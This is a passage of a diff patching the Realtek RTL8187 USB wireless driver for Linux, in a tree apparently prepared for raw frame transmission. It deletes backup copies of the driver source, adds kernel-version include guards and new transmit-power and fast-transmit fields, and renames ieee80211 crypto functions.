andreamrl@tiscali.it"); - if(rtl8225_is_V_z2(dev)){ - priv->rf_init = rtl8225z2_rf_init; - priv->rf_set_chan = rtl8225z2_rf_set_chan; - priv->rf_set_sens = NULL; - DMESG("This seems a new V2 radio"); - }else{ - priv->rf_init = rtl8225_rf_init; - priv->rf_set_chan = rtl8225_rf_set_chan; - priv->rf_set_sens = rtl8225_rf_set_sens; - DMESG("This seems a legacy 1st version radio"); - } - priv->rf_close = rtl8225_rf_close; - - priv->max_sens = RTL8225_RF_MAX_SENS; - priv->sens = RTL8225_RF_DEF_SENS; - break; - - default: - DMESGW("Unknown RF module %x",priv->rf_chip); - DMESGW("Exiting..."); - return -1; - - } - -// DMESG("Energy threshold: %x",priv->cs_treshold); - DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); - //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ - DMESG("Endopoints initialization failed"); - return -ENOMEM; - } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_NORMPRIORITY_RING_ADDR)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_HIGHPRIORITY_RING_ADDR)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_LOWPRIORITY_RING_ADDR)) - return -ENOMEM; - - - if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) - return -ENOMEM; -#endif - - -#ifdef DEBUG_EPROM - dump_eprom(dev); -#endif - return 0; - -} - -void rtl8185_rf_pins_enable(struct net_device *dev) -{ -/* u16 tmp; - tmp = read_nic_word(dev, RFPinsEnable);*/ - write_nic_word(dev, RFPinsEnable, 0x1ff7);// | tmp); -} - - -void rtl8185_set_anaparam2(struct net_device *dev, u32 a) -{ - u8 conf3; - - rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - - conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); - write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); - write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); - write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); - - //read_nic_dword(dev, PHY_ADR); -#if 0 - for(i=0;i<10;i++){ - write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); - phyr = read_nic_byte(dev, PHY_READ); - if(phyr == (data&0xff)) break; - - } -#endif - /* this is ok to fail when we write AGC table. check for AGC table might be - * done by masking with 0x7f instead of 0xff - */ - //if(phyr != (data&0xff)) DMESGW("Phy write timeout %x %x %x", phyr, data, adr); - mdelay(1); -} - - -inline void write_phy_ofdm (struct net_device *dev, u8 adr, u32 data) -{ - data = data & 0xff; - rtl8187_write_phy(dev, adr, data); -} - - -void write_phy_cck (struct net_device *dev, u8 adr, u32 data) -{ - data = data & 0xff; - rtl8187_write_phy(dev, adr, data | 0x10000); -} - - -void rtl8180_adapter_start(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - //u32 anaparam; - //u8 config3; - - //rtl8180_rtx_disable(dev); - rtl8180_reset(dev); - - write_nic_byte(dev,0x85,0); - write_nic_byte(dev,0x91,0); - - /* light blink! */ - write_nic_byte(dev,0x85,4); - write_nic_byte(dev,0x91,1); - write_nic_byte(dev,0x90,0); - - priv->irq_mask = 0xffff; -/* - priv->dma_poll_mask = 0; - priv->dma_poll_mask|= (1<dev_addr)[0]); - write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); - - rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - rtl8180_update_msr(dev); - - rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - - write_nic_word(dev,0xf4,0xffff); - write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); - - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); - -#ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); -#endif - - - write_nic_byte(dev, WPA_CONFIG, 0); - - write_nic_byte(dev, RATE_FALLBACK, 0x81); - rtl8187_set_rate(dev); - - priv->rf_init(dev); - - if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - - write_nic_word(dev,0x5e,1); - - #if 1 - //mdelay(1); - write_nic_word(dev,0xfe,0x10); -// mdelay(1); - #endif - write_nic_byte(dev, TALLY_SEL, 0x80);//Set NQ retry count - - write_nic_byte(dev, 0xff, 0x60); - - write_nic_word(dev,0x5e,0); - - - rtl8180_irq_enable(dev); - /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - - DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - - DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); - if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); - if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); - if(check_nic_enought_desc(dev,LOW_PRIORITY)) DMESG("LOW OK");*/ -} - - - -/* this configures registers for beacon tx and enables it via - * rtl8180_beacon_tx_enable(). rtl8180_beacon_tx_disable() might - * be used to stop beacon transmission - */ -#if 0 -void rtl8180_start_tx_beacon(struct net_device *dev) -{ - int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; - DMESG("Enabling beacon TX"); - //write_nic_byte(dev, 0x42,0xe6);// TCR - //rtl8180_init_beacon(dev); - //set_nic_txring(dev); -// rtl8180_prepare_beacon(dev); - rtl8180_irq_disable(dev); -// rtl8180_beacon_tx_enable(dev); - rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - //write_nic_byte(dev,0x9d,0x20); //DMA Poll - //write_nic_word(dev,0x7a,0); - //write_nic_word(dev,0x7a,0x8000); - - - word = read_nic_word(dev, BcnItv); - word &= ~BcnItv_BcnItv; // clear Bcn_Itv - write_nic_word(dev, BcnItv, word); - - write_nic_word(dev, AtimWnd, - read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - - word = read_nic_word(dev, BintrItv); - word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * - // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); - // FIXME:FIXME check if correct ^^ worked with 0x3e8; - - write_nic_word(dev, BintrItv, word); - - //write_nic_word(dev,0x2e,0xe002); - //write_nic_dword(dev,0x30,0xb8c7832e); - for(i=0; iieee80211->beacon_cell_ssid[i]); - -// rtl8180_update_msr(dev); - - - //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - - rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - - rtl8180_irq_enable(dev); - - /* VV !!!!!!!!!! VV*/ - /* - rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -*/ -} -#endif -/*************************************************************************** - -------------------------------NET STUFF--------------------------- -***************************************************************************/ -static struct net_device_stats *rtl8180_stats(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - return &priv->ieee80211->stats; -} - - -int _rtl8180_up(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - priv->up=1; - - //DMESG("Bringing up iface"); - - rtl8180_adapter_start(dev); - - rtl8180_rx_enable(dev); - - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); - if(!netif_queue_stopped(dev)) - netif_start_queue(dev); - else - netif_wake_queue(dev); - - return 0; -} - - -int rtl8180_open(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - - down(&priv->wx_sem); - ret = rtl8180_up(dev); - up(&priv->wx_sem); - return ret; - -} - - -int rtl8180_up(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 1) return -1; - - return _rtl8180_up(dev); -} - - -int rtl8180_close(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - - down(&priv->wx_sem); - - ret = rtl8180_down(dev); - - up(&priv->wx_sem); - - return ret; - -} - -int rtl8180_down(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 0) return -1; - - priv->up=0; - -/* FIXME */ - if (!netif_queue_stopped(dev)) - netif_stop_queue(dev); - - rtl8180_rtx_disable(dev); - rtl8180_irq_disable(dev); - - ieee80211_softmac_stop_protocol(priv->ieee80211); - - return 0; -} - - -void rtl8180_commit(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - - rtl8180_irq_disable(dev); - rtl8180_rtx_disable(dev); - _rtl8180_up(dev); -} - -void rtl8180_restart(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - down(&priv->wx_sem); - - rtl8180_commit(dev); - - up(&priv->wx_sem); -} - -static void r8180_set_multicast(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - short promisc; - - //down(&priv->wx_sem); - - /* FIXME FIXME */ - - promisc = (dev->flags & IFF_PROMISC) ? 1:0; - - if (promisc != priv->promisc) - // rtl8180_commit(dev); - - priv->promisc = promisc; - - //schedule_work(&priv->reset_wq); - //up(&priv->wx_sem); -} - - -int r8180_set_mac_adr(struct net_device *dev, void *mac) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - struct sockaddr *addr = mac; - - down(&priv->wx_sem); - - memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - - schedule_work(&priv->reset_wq); - - up(&priv->wx_sem); - - return 0; -} - - -/* based on ipw2200 driver */ -int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; - switch (cmd) { - case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); - break; - - default: - ret = -EOPNOTSUPP; - break; - } - - up(&priv->wx_sem); - - return ret; -} - - -void rtl8180_irq_rx_tasklet(struct r8180_priv *priv) -{ - struct urb *rx_urb = priv->rxurb_task; - struct net_device *dev = (struct net_device*)rx_urb->context; - int status,len,flen; - struct sk_buff *skb; - u32 *desc; - - //DMESG("rtl8187_rx_isr"); - - struct ieee80211_rx_stats stats = { - .signal = 0, - .noise = -98, - .rate = 0, - // .mac_time = jiffies, - .freq = IEEE80211_24GHZ_BAND, - }; - - //DMESG("RX %d ",rx_urb->status); - status = rx_urb->status; - if(status == 0){ - - len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ - len -= 4*4;/* 4 dword and 4 byte CRC */ - - desc = (u32*)(rx_urb->transfer_buffer + len); - - flen = desc[0] & 0xfff; - - if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; - stats.mac_time[0] = desc[2]; - stats.mac_time[1] = desc[3]; - skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ - memcpy(skb_put(skb,flen-4), - rx_urb->transfer_buffer,flen -4); - - #ifdef DUMP_RX - int i; - for(i=0;itransfer_buffer))[i]); - printk("------RATE %x:w---------------\n",stats.rate); - - #endif - priv->stats.rxok++; - // priv->rxskb = skb; - // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, - skb, &stats)) - dev_kfree_skb_any(skb); - } - }else priv->stats.rxurberr++; - }else{ - priv->stats.rxstaterr++; - priv->ieee80211->stats.rx_errors++; - - } - - if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); - else DMESG("RX process aborted due to explicit shutdown"); -} - -/**************************************************************************** - ---------------------------- USB_STUFF--------------------------- -*****************************************************************************/ - - -static int __devinit rtl8187_usb_probe(struct usb_interface *intf, - const struct usb_device_id *id) -{ -// unsigned long ioaddr = 0; - struct net_device *dev = NULL; - struct r8180_priv *priv= NULL; - struct usb_device *udev = interface_to_usbdev(intf); - -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - - SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - - SET_NETDEV_DEV(dev, &intf->dev); - - priv = ieee80211_priv(dev); - priv->ieee80211 = netdev_priv(dev); - - priv->udev=udev; - - dev->open = rtl8180_open; - dev->stop = rtl8180_close; - //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; - dev->tx_timeout = tx_timeout; - dev->wireless_handlers = &r8180_wx_handlers_def; - dev->do_ioctl = rtl8180_ioctl; - dev->set_multicast_list = r8180_set_multicast; - dev->set_mac_address = r8180_set_mac_adr; - dev->get_wireless_stats = r8180_get_wireless_stats; - dev->type=ARPHRD_ETHER; - - if (dev_alloc_name(dev, ifname) < 0){ - DMESG("Oops: devname already taken! Trying wlan%%d...\n"); - ifname = "wlan%d"; - dev_alloc_name(dev, ifname); - } - -// dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ - DMESG("Initialization failed"); - goto fail; - } - - netif_carrier_off(dev); - netif_stop_queue(dev); - - register_netdev(dev); - - rtl8180_proc_init_one(dev); - - - DMESG("Driver probe completed\n"); - return 0; - - -fail: - free_ieee80211(dev); - - DMESG("wlan driver load failed\n"); - - return -ENODEV; - -} - - -static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf) -{ - struct r8180_priv *priv; - struct net_device *dev = usb_get_intfdata(intf); - if(dev){ - - unregister_netdev(dev); - - priv=ieee80211_priv(dev); - - rtl8180_proc_remove_one(dev); - - rtl8180_down(dev); - priv->rf_close(dev); - //rtl8180_rtx_disable(dev); - rtl8187_usb_deleteendpoints(dev); - rtl8180_irq_disable(dev); - rtl8180_reset(dev); - mdelay(10); - - } -// pci_disable_device(pdev); - free_ieee80211(dev); - DMESG("wlan driver removed\n"); -} - - -static int __init rtl8187_usb_module_init(void) -{ - printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ -based WLAN cards\n"); - printk(KERN_INFO "Copyright (c) 2004-2005, Andrea Merello\n"); - DMESG("Initializing module"); - DMESG("Wireless extensions version %d", WIRELESS_EXT); - rtl8180_proc_module_init(); - return usb_register(&rtl8187_usb_driver); -} - - -static void __exit rtl8187_usb_module_exit(void) -{ - usb_deregister(&rtl8187_usb_driver); - - rtl8180_proc_module_remove(); - DMESG("Exiting"); -} - - -void rtl8180_try_wake_queue(struct net_device *dev, int pri) -{ - unsigned long flags; - short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - spin_lock_irqsave(&priv->tx_lock,flags); - enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - - if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); -} - - - -/*************************************************************************** - ------------------- module init / exit stubs ---------------- -****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h 2006-06-06 08:48:10.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h 2008-02-22 15:02:01.000000000 +0100 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -68,7 +73,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,18 +128,18 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ short enable_gpio0; enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; short hw_plcp_len; - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -143,13 +148,18 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - + short prism_hdr; + short fasttx; + short highpower; + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -158,7 +168,7 @@ //u8 active_scan_num; struct semaphore wx_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -171,31 +181,31 @@ void (*rf_close)(struct net_device *dev); void (*rf_init)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; // dma_addr_t rxringdma; struct urb **rx_urb; - + //struct buffer *rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -225,7 +235,7 @@ struct urb *rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -239,22 +249,23 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; - + struct work_struct reset_wq; - + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); +short rtl8180_tx_fast(struct net_device *dev,u32* skbuf, int len, short rate); u8 read_nic_byte(struct net_device *dev, int x); u8 read_nic_byte_E(struct net_device *dev, int x); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h~ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h~ --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h~ 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h~ 1970-01-01 01:00:00.000000000 +0100 @@ -1,288 +0,0 @@ -/* - This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 - Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the - official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton - from Patric Schenke & Andres Salomon - - Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper - project Authors. -*/ - -#ifndef R8180H -#define R8180H - - -#define RTL8187_MODULE_NAME "rtl8187" -#define DMESG(x,a...) printk(KERN_INFO RTL8187_MODULE_NAME ": " x "\n", ## a) -#define DMESGW(x,a...) printk(KERN_WARNING RTL8187_MODULE_NAME ": WW:" x "\n", ## a) -#define DMESGE(x,a...) printk(KERN_WARNING RTL8187_MODULE_NAME ": EE:" x "\n", ## a) - -#include -#include -#include -#include -#include -#include -#include -#include -#include -//#include -#include -#include -#include -#include //for rtnl_lock() -#include -#include -#include // Necessary because we use the proc fs -#include -#include -#include -#include -#include - -#include "ieee80211.h" - -#define EPROM_93c46 0 -#define EPROM_93c56 1 - -#define DEFAULT_FRAG_THRESHOLD 2342U -#define MIN_FRAG_THRESHOLD 256U -#define DEFAULT_BEACONINTERVAL 0x64U -#define DEFAULT_BEACON_ESSID "Rtl8187" - -#define DEFAULT_SSID "" -#define DEFAULT_RETRY_RTS 7 -#define DEFAULT_RETRY_DATA 7 -#define PRISM_HDR_SIZE 64 - -#define RTL_IOCTL_WPA_SUPPLICANT SIOCIWFIRSTPRIV+30 - -typedef struct buffer -{ - struct buffer *next; - u32 *buf; - -} buffer; - -#if 0 - -typedef struct tx_pendingbuf -{ - struct ieee80211_txb *txb; - short ispending; - short descfrag; -} tx_pendigbuf; - -#endif - -typedef struct Stats -{ - unsigned long txrdu; -// unsigned long rxrdu; - //unsigned long rxnolast; - //unsigned long rxnodata; -// unsigned long rxreset; -// unsigned long rxwrkaround; -// unsigned long rxnopointer; - unsigned long rxok; - unsigned long rxurberr; - unsigned long rxstaterr; - unsigned long txnperr; - unsigned long txnpdrop; - unsigned long txresumed; -// unsigned long rxerr; -// unsigned long rxoverflow; -// unsigned long rxint; - unsigned long txnpokint; -// unsigned long txhpokint; -// unsigned long txhperr; -// unsigned long ints; -// unsigned long shints; - unsigned long txoverflow; -// unsigned long rxdmafail; -// unsigned long txbeacon; -// unsigned long txbeaconerr; - unsigned long txlpokint; - unsigned long txlpdrop; - unsigned long txlperr; - unsigned long txdatapkt; -} Stats; - - - -typedef struct r8180_priv -{ - struct usb_device *udev; - short epromtype; - int irq; - struct ieee80211_device *ieee80211; - - short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ - short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ - short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ - short enable_gpio0; - enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; - short hw_plcp_len; - -// spinlock_t irq_lock; -// spinlock_t irq_th_lock; - spinlock_t tx_lock; - - u16 irq_mask; -// short irq_enabled; - struct net_device *dev; - short chan; - short sens; - short max_sens; - u8 chtxpwr[15]; //channels from 1 to 14, 0 not used - u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used - u8 cck_txpwr_base; - u8 ofdm_txpwr_base; - u8 challow[15]; //channels from 1 to 14, 0 not used - short up; - short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - -// struct timer_list scan_timer; - /*short scanpending; - short stopscan;*/ -// spinlock_t scan_lock; -// u8 active_probe; - //u8 active_scan_num; - struct semaphore wx_sem; -// short hw_wep; - -// short digphy; -// short antb; -// short diversity; -// u8 cs_treshold; -// short rcr_csense; - short rf_chip; -// u32 key0[4]; - short (*rf_set_sens)(struct net_device *dev,short sens); - void (*rf_set_chan)(struct net_device *dev,short ch); - void (*rf_close)(struct net_device *dev); - void (*rf_init)(struct net_device *dev); - //short rate; - short promisc; - /*stats*/ - struct Stats stats; - struct iw_statistics wstats; - struct proc_dir_entry *dir_dev; - - /*RX stuff*/ -// u32 *rxring; -// u32 *rxringtail; -// dma_addr_t rxringdma; - struct urb **rx_urb; - - //struct buffer *rxbuffer; - //struct buffer *rxbufferhead; - //int rxringcount; - //u16 rxbuffersize; - - //struct sk_buff *rx_skb; - - //short rx_skb_complete; - - //u32 rx_prevlen; - atomic_t tx_lp_pending; - atomic_t tx_np_pending; -#if 0 - /*TX stuff*/ - u32 *txlpring; - u32 *txhpring; - u32 *txnpring; - dma_addr_t txlpringdma; - dma_addr_t txhpringdma; - dma_addr_t txnpringdma; - u32 *txlpringtail; - u32 *txhpringtail; - u32 *txnpringtail; - u32 *txlpringhead; - u32 *txhpringhead; - u32 *txnpringhead; - struct buffer *txlpbufs; - struct buffer *txhpbufs; - struct buffer *txnpbufs; - struct buffer *txlpbufstail; - struct buffer *txhpbufstail; - struct buffer *txnpbufstail; - int txringcount; - int txbuffsize; - - //struct tx_pendingbuf txnp_pending; - struct tasklet_struct irq_tx_tasklet; -#endif -// struct tasklet_struct irq_rx_tasklet; -// u8 dma_poll_mask; - //short tx_suspend; - - /* adhoc/master mode stuff */ -#if 0 - u32 *txbeacontail; - dma_addr_t txbeaconringdma; - u32 *txbeaconring; - int txbeaconcount; -#endif -// struct ieee_tx_beacon *beacon_buf; - //char *master_essid; -// dma_addr_t beacondmabuf; - //u16 master_beaconinterval; -// u32 master_beaconsize; - //u16 beacon_interval; - - u8 retry_data; - u8 retry_rts; - - struct work_struct reset_wq; - -}r8180_priv; - - -typedef enum{ - LOW_PRIORITY , - NORM_PRIORITY - } priority_t; - - -short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); - -u8 read_nic_byte(struct net_device *dev, int x); -u8 read_nic_byte_E(struct net_device *dev, int x); -u32 read_nic_dword(struct net_device *dev, int x); -u16 read_nic_word(struct net_device *dev, int x) ; -void write_nic_byte(struct net_device *dev, int x,u8 y); -void write_nic_byte_E(struct net_device *dev, int x,u8 y); -void write_nic_word(struct net_device *dev, int x,u16 y); -void write_nic_dword(struct net_device *dev, int x,u32 y); -void force_pci_posting(struct net_device *dev); - -void rtl8180_rtx_disable(struct net_device *); -void rtl8180_rx_enable(struct net_device *); -void rtl8180_tx_enable(struct net_device *); - -void rtl8180_disassociate(struct net_device *dev); -//void fix_rx_fifo(struct net_device *dev); -void rtl8185_set_rf_pins_enable(struct net_device *dev,u32 a); - -void rtl8180_set_anaparam(struct net_device *dev,u32 a); -void rtl8185_set_anaparam2(struct net_device *dev,u32 a); -void rtl8180_update_msr(struct net_device *dev); -int rtl8180_down(struct net_device *dev); -int rtl8180_up(struct net_device *dev); -void rtl8180_commit(struct net_device *dev); -void rtl8180_set_chan(struct net_device *dev,short ch); -void write_phy(struct net_device *dev, u8 adr, u8 data); -void write_phy_cck(struct net_device *dev, u8 adr, u32 data); -void write_phy_ofdm(struct net_device *dev, u8 adr, u32 data); -void rtl8185_tx_antenna(struct net_device *dev, u8 ant); -void rtl8187_set_rxconf(struct net_device *dev); -#endif diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/.tmp_versions/r8187.mod rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/.tmp_versions/r8187.mod --- rtl8187_linux_26.1010.0622.2006/beta-8187/.tmp_versions/r8187.mod 2006-06-22 07:40:15.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/.tmp_versions/r8187.mod 2008-02-22 15:33:11.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8187.ko -/usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8187_core.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_93cx6.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_wx.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_rtl8225.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_rtl8225z2.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.c 2008-01-30 17:38:11.000000000 +0100 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; 